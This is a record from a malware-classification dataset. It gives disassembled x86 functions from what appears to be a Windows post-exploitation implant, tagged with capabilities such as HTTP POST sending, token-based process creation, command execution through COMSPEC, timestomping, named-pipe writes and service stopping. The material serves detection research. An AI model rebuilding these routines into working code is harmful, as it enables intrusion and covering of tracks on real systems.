joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001d4b
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10ac
call fcn.10017970
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x487]
push ebx
push eax
mov dword [ebp - 0x10a8], 0x10029564
mov dword [ebp - 0x10a4], ebx
mov byte [ebp - 0x488], bl
call fcn.10017a30
add esp, 0xc
push 0x7f
lea eax, [ebp - 0x87]
push ebx
push eax
mov byte [ebp - 0x88], bl
call fcn.10017a30
add esp, 0xc
push 0xc13
lea eax, [ebp - 0x109f]
push ebx
push eax
mov byte [ebp - 0x10a0], bl
call fcn.10017a30
mov eax, dword [0x10039094]
add esp, 0xc
cmp eax, ebx
je 0x10001f48
lea esi, [ebp - 0x10a0]
call fcn.100079b4
push 0x1003cd20
push 0x1002955c
mov esi, 0x400
lea eax, [ebp - 0x8a0]
push esi
push eax
call fcn.10014523
push dword [0x1003c900]
lea eax, [ebp - 0x88]
push 0x10029568
push 0x80
push eax
call fcn.10014523
lea eax, [ebp - 0x88]
add esp, 0x20
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001e21
push dword [0x10039094]
sub eax, edi
push dword [0x10039090]
push eax
lea eax, [ebp - 0x88]
push eax
push 0xd
pop edx
call fcn.100087fb
push eax
lea ecx, [ebp - 0x10a0]
call fcn.100073ba
lea eax, [ebp - 0xca0]
add esp, 0x14
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001e5e
sub eax, edi
jne 0x10001e87
lea eax, [ebp - 0x8a0]
push eax
push 0x1002955c
lea eax, [ebp - 0x488]
push esi
push eax
call fcn.10014523
add esp, 0x10
jmp 0x10001eaa
lea eax, [ebp - 0xca0]
push eax
lea eax, [ebp - 0x8a0]
push eax
push 0x1002956c
lea eax, [ebp - 0x488]
push esi
push eax
call fcn.10014523
add esp, 0x14
call fcn.10008cd8
xor edx, edx
push ebx
inc edx
call fcn.100087d8
and al, 8
xor ecx, ecx
cmp al, 8
setne cl
lea eax, [ebp - 0x10a8]
dec ecx
and ecx, 0x803000
add ecx, 0x84680200
push ecx
push eax
push ebx
push ebx
lea eax, [ebp - 0x488]
push eax
push str.POST
push dword [0x1003908c]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
push esi
call fcn.10001d06
lea eax, [ebp - 0x10a0]
pop ecx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001f02
push dword [ebp - 0x49c]
sub eax, edi
push dword [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x10a0]
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [0x10039094]
lea esi, [ebp - 0x10a0]
call fcn.10007a5a
mov dword [0x10039094], ebx
call fcn.10008ce8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x100022bd
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10039098], 1
je 0x10002313
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x100022fc
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
call fcn.10014c09
push 0x14
pop edx
mov dword [0x10039098], 1
call fcn.100087ea
mov dword [0x1003909c], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001436d
leave
ret

Function at 0x1000312c
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
call fcn.100022bd
call fcn.1000231f
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x10003169
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10003156
cmp word [eax + 0xa], 4
je 0x1000316f
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x10003142
xor eax, eax
pop esi
pop ecx
pop ebp
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x1000316b

Function at 0x100032f5
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
call fcn.1000231f
xor esi, esi
push edi
lea eax, [ebp - 8]
push eax
push edi
push edi
push 0x10
push dword [ebp + 8]
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x10003336
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x64
jl 0x10003306
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 8]
xor ebx, ebx
cmp dword [eax + 0x18], edi
jbe 0x10003384
mov dword [ebp - 4], 0x1c
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + eax]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003352
sub eax, esi
mov esi, eax
add edi, esi
cmp edi, 0x400
jge 0x10003390
push esi
push ecx
push dword [ebp + 0xc]
call fcn.10015df0
add dword [ebp + 0xc], esi
mov eax, dword [ebp - 8]
add dword [ebp - 4], 4
add esp, 0xc
inc ebx
cmp ebx, dword [eax + 0x18]
jb 0x10003347
push 1
push eax
call sub.DNSAPI.dll_DnsFree
mov eax, edi
jmp 0x10003331
push 0xfffffffffffffffe
pop eax
jmp 0x10003331

Function at 0x10003395
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1000231f
xor edi, edi
xor esi, esi
push edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x1c
push dword [ebp + 8]
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x100033d3
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x64
jl 0x100033a4
or eax, 0xffffffff
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
lea esi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 1
push eax
movsd dword es:[edi], dword [esi]
call sub.DNSAPI.dll_DnsFree
push 0x10
pop eax
jmp 0x100033cf
Function at 0x100033ed
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.100022bd
push 0x50
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10003430
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x10003430
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x10003435
mov eax, str.unknown
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001436d
leave
ret

Function at 0x10003455
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp esi, 0x3ff
mov eax, dword [ebp + 8]
jg 0x10003499
push esi
push eax
lea eax, [ebp - 0x404]
push eax
call fcn.10014750
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
mov byte [ebp + esi - 0x404], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001436d
leave
ret
Function at 0x100034f7
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.10017970
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x1008], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x100c], eax
xor eax, eax
mov edi, 0x7fe
push edi
mov word [ebp - 0x804], ax
xor esi, esi
lea eax, [ebp - 0x802]
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x1014], ebx
call fcn.10017a30
xor eax, eax
push edi
mov word [ebp - 0x1004], ax
lea eax, [ebp - 0x1002]
push esi
push eax
call fcn.10017a30
mov eax, dword [0x100398a4]
add esp, 0x18
cmp eax, esi
je 0x10003674
cmp dword [ebp + 0x14], esi
jne 0x10003674
push dword [ebp - 0x100c]
push ebx
push esi
push esi
push dword [ebp + 0x10]
push 1
push esi
push esi
push dword [ebp - 0x1008]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x10003635
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x10003658
push esi
push dword [ebp - 0x1008]
mov dword [ebx + 8], esi
push esi
call fcn.10014f4e
add esp, 0xc
cmp eax, 0xffffffff
je 0x10003647
mov edi, 0x400
cmp eax, edi
ja 0x10003647
inc eax
push eax
push dword [ebp - 0x1008]
lea eax, [ebp - 0x804]
push eax
call fcn.10014f4e
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0xc
push esi
push esi
call ebx
cmp eax, edi
jae 0x10003608
lea eax, [ebp - 0x1004]
push eax
push edi
call ebx
lea eax, [ebp - 0x1004]
jmp 0x1000360a
mov eax, esi
push dword [ebp - 0x100c]
push dword [ebp - 0x1014]
push eax
push esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x804]
push eax
push esi
push 2
push dword [0x100398a4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x10003658
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
push eax
push str.could_not_run_command__w__token__because_of_its_length_of__d_bytes_
call fcn.10001093
pop ecx
pop ecx
xor eax, eax
jmp 0x10003638
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x1008]
push str.could_not_spawn__s__token_:__d
call fcn.10001093
add esp, 0xc
jmp 0x10003654
push dword [ebp - 0x100c]
push ebx
push esi
push esi
push dword [ebp + 0x10]
push 1
push esi
push esi
push dword [ebp - 0x1008]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10003635
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x1008]
push str.could_not_spawn__s:__d
jmp 0x1000366a
Function at 0x100037a4
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push 0xa000
xor ebx, ebx
call fcn.100066ac
mov edx, eax
mov esi, 0x4000
mov dword [ebp - 0x1c], edx
call fcn.1000674e
mov esi, 0x400
mov dword [ebp - 8], eax
call fcn.1000674e
mov dword [ebp - 0x10], eax
call fcn.1000674e
mov dword [ebp - 0x14], eax
call fcn.1000674e
mov dword [ebp - 0xc], eax
call fcn.1000674e
push 0x44
pop edi
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.10017a30
mov dword [ebp - 0x78], edi
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x10
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4000
push dword [ebp - 8]
xor eax, eax
push dword [ebp + 0x14]
mov dword [ebp - 0x4c], 0x101
mov word [ebp - 0x48], ax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x70], ebx
call fcn.1000376f
push esi
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call fcn.1000376f
push esi
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.1000376f
push esi
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.1000376f
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0x30
push ebx
push ebx
call edi
cmp eax, esi
jae 0x10003880
push dword [ebp - 4]
push esi
call edi
mov eax, dword [ebp - 4]
jmp 0x10003882
mov eax, ebx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
push ebx
push 0x8000400
push dword [ebp - 8]
push ebx
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x100038c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x14]
push str.could_not_run__s_as__s_s:__d
call fcn.10001093
add esp, 0x14
mov esi, dword [ebp - 0x1c]
call fcn.100066ee
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003999
Capabilities:
Create pipe
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x44
pop edi
push edi
mov dword [ebp - 0x814], eax
xor esi, esi
lea eax, [ebp - 0x884]
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x818], ebx
call fcn.10017a30
mov dword [ebp - 0x884], edi
xor eax, eax
lea edi, [ebp - 0x838]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x81c]
push eax
mov dword [ebp - 0x824], esi
mov dword [ebp - 0x828], 0xc
mov dword [ebp - 0x820], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x884]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x854], ax
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x84c], esi
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], eax
mov esi, 0x400
push esi
lea eax, [ebp - 0x80c]
push eax
push str.COMSPEC
mov dword [ebp - 0x858], 0x101
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
add ebx, edi
lea eax, [ebx + 5]
cmp eax, esi
ja 0x10003b3e
mov esi, dword [ebp - 0x818]
push esi
push dword [ebp - 0x814]
lea eax, [ebp - 0x40c]
push eax
call fcn.10014750
push edi
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x40c]
push eax
mov byte [ebp + esi - 0x40c], 0
call fcn.10014750
push 4
lea eax, [ebp + edi - 0x40c]
push str.__C
push eax
call fcn.10014750
push esi
push dword [ebp - 0x814]
lea eax, [ebp + edi - 0x408]
push eax
call fcn.10014750
push 0
push 0x10
lea eax, [ebp - 0x838]
push eax
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x884]
mov byte [ebp + ebx - 0x408], 0
call fcn.100034f7
add esp, 0x40
test eax, eax
je 0x10003b3e
push 0x2710
push dword [ebp - 0x838]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x810]
lea esi, [ebp - 0x838]
push dword [ebp - 0x81c]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005896
add esp, 0x18
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x10003b4d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x400
push esi
call fcn.10014459
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10003be6
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
call fcn.10006700
push esi
push eax
call fcn.100067b5
add esp, 0xc
test eax, eax
jne 0x10003b8b
push ebx
call fcn.1001437c
jmp 0x10003be5
push dword [ebp + 0x10]
push ebx
call fcn.1001503e
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x10003bcc
test esi, esi
je 0x10003bcc
push esi
lea eax, [ebp - 0x14]
call fcn.10006769
push eax
push 1
lea eax, [ebp - 0x14]
call fcn.10001bd3
push eax
call fcn.100151b7
push esi
call fcn.100152b0
push ebx
call fcn.1001437c
add esp, 0x18
jmp 0x10003be6
push ebx
call fcn.1001437c
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_upload_file:__d
call fcn.10001093
pop ecx
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x10003bea
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x3ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x807]
push ebx
push eax
mov byte [ebp - 0x808], bl
call fcn.10017a30
push esi
lea eax, [ebp - 0x407]
push ebx
push eax
mov byte [ebp - 0x408], bl
call fcn.10017a30
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x830]
call fcn.10006700
inc esi
push esi
push eax
lea ebx, [ebp - 0x808]
call fcn.100067b5
add esp, 0x24
test eax, eax
je 0x10003d69
lea eax, [ebp - 0x830]
push esi
push eax
lea ebx, [ebp - 0x408]
call fcn.100067b5
pop ecx
pop ecx
test eax, eax
je 0x10003d69
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ebx, ebx
push ebx
push 0x2000080
push 3
push ebx
push 1
push connect
lea eax, [ebp - 0x808]
push eax
call esi
mov edi, eax
cmp edi, ebx
jne 0x10003cbd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x808]
push eax
push str.could_not_open__s:__d
call fcn.10001093
add esp, 0xc
jmp 0x10003d69
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x10003cf9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_get_file_time:__d
call fcn.10001093
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10003d69
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push ebx
push 0x2000000
push 3
push ebx
push 2
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call esi
mov esi, eax
cmp esi, ebx
jne 0x10003d33
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x408]
jmp 0x10003caa
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x10003d66
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_set_file_time:__d
call fcn.10001093
pop ecx
pop ecx
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x10003d78
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x7ff
lea eax, [ebp - 0x803]
push 0
push eax
mov byte [ebp - 0x804], 0
call fcn.10017a30
add esp, 0xc
lea eax, [ebp - 0x804]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jbe 0x10003dd0
push 0x13
push eax
lea eax, [ebp - 0x804]
push eax
call section..text
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001436d
leave
ret

Function at 0x10003e00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003e28
or eax, 0xffffffff
jmp 0x10003e79
push str.127.0.0.1
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x10003e23
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x14]
push eax
call fcn.10015df0
add esp, 0xc
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x16], ax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x10003e77
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10003e23
mov eax, esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.1001436d
leave
ret

Function at 0x10003e86
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x30]
call fcn.10006700
pop ecx
mov esi, eax
call fcn.10006711
mov dword [ebp - 0x1c], eax
mov eax, esi
call fcn.10001bd3
mov dword [ebp - 0x20], eax
mov eax, esi
call fcn.10006769
mov esi, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call fcn.100022bd
and dword [ebp - 0x14], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x3e8
push dword [ebp - 0x1c]
call fcn.10003e00
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
jne 0x10003efb
push ebx
call edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
jb 0x10003edc
jmp 0x10003f17
push 0
push 8
lea ecx, [ebp - 0x10]
push ecx
push eax
call sub.WS2_32.dll_send
push 0
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x18]
call sub.WS2_32.dll_send
push ebx
call edi
push dword [ebp - 0x18]
call sub.WS2_32.dll_closesocket
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x10003f34
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x9c], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov esi, eax
lea eax, [ebp - 0xb0]
add esi, 0xea60
call fcn.10006700
push 0x80
push eax
lea ebx, [ebp - 0x88]
call fcn.100067b5
add esp, 0xc
lea eax, [ebp - 0xb0]
call fcn.10001bd3
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xb0]
call fcn.10006769
and dword [ebp - 0x94], 0
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x88]
push eax
lea ebx, [ebp - 0x8c]
call fcn.10005ba2
pop ecx
test eax, eax
jne 0x1000401b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x10003ff1
call edi
cmp eax, esi
jae 0x10003ff1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 0xa
jb 0x10003faf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x88]
push eax
push str.Could_not_connect_to_pipe___s_:__d
call fcn.10001093
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x98]
push eax
push 4
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x8c]
call edi
cmp dword [ebp - 0x90], 0
jbe 0x10004090
mov ebx, 0x2000
mov eax, dword [ebp - 0x90]
mov esi, dword [ebp - 0x9c]
sub eax, esi
cmp eax, ebx
jbe 0x1000405d
mov eax, ebx
push 0
lea ecx, [ebp - 0x98]
push ecx
push eax
mov eax, dword [ebp - 0xa0]
add eax, esi
push eax
push dword [ebp - 0x8c]
call edi
test eax, eax
je 0x10004090
add esi, dword [ebp - 0x98]
mov dword [ebp - 0x9c], esi
cmp esi, dword [ebp - 0x90]
jb 0x10004049
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000400c
Function at 0x100043db
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push edi
push 8
pop ecx
xor ebx, ebx
push 0xf003f
push ebx
xor eax, eax
mov dword [ebp - 0x34], ebx
lea edi, [ebp - 0x30]
push ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x10004410
xor eax, eax
jmp 0x10004496
push esi
push 0x24
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 8], esi
cmp esi, ebx
je 0x10004493
lea eax, [ebp - 0x34]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10004493
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
call esi
test eax, eax
je 0x10004493
mov ebx, 0x7530
cmp dword [ebp - 0x30], 1
je 0x1000449a
call edi
sub eax, dword [ebp - 0xc]
cmp eax, ebx
ja 0x10004493
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jbe 0x10004477
mov eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push 0
push dword [ebp - 8]
call esi
test eax, eax
jne 0x1000445f
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
push dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x10]
call esi
xor eax, eax
inc eax
jmp 0x10004495